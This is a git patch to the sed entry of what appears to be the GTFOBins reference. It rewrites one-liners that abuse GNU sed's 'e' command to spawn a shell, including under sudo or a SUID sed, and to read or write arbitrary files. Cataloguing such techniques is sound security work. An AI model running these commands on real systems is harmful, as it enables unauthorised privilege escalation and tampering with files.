From 2da69686ac2b1bfaa2d5fa1191a5882616be00c7 Mon Sep 17 00:00:00 2001
From: Andrea Cardaci <cyrus.and@gmail.com>
Date: Wed, 13 Jun 2018 16:00:47 +0200
Subject: [PATCH] Fix sed execute and file write, also enforce standards

---
 _gtfobins/sed.md | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

diff --git a/_gtfobins/sed.md b/_gtfobins/sed.md
index dbeb315..c0f2f67 100644
--- a/_gtfobins/sed.md
+++ b/_gtfobins/sed.md
@@ -1,19 +1,23 @@
 ---
 functions:
   execute-interactive:
-    - code: sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'"
+    - description: GNU version only. Also, this requires `bash`.
+      code: sed -n "1e bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
+  execute-non-interactive:
+    - description: GNU version only.
+      code: sed -n "1e id" /etc/hosts
   sudo-enabled:
-    - code: sudo sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'"
+    - description: GNU version only. Also, this requires `bash`.
+      code: sudo sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
   suid-enabled:
-    - code: |
-        LFILE=file_to_read
-        ./sed -e '' "$LFILE"
+    - description: GNU version only. Also, this requires `bash`.
+      code: ./sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
   file-read:
     - code: |
         LFILE=file_to_read
-        sed -e '' "$LFILE"
+        sed '' "$LFILE"
   file-write:
     - code: |
         LFILE=file_to_write
-        echo x | sed "s/x/data/;w $LFILE"
+        sed -n "1s/.*/data/w $LFILE" /etc/hosts
 ---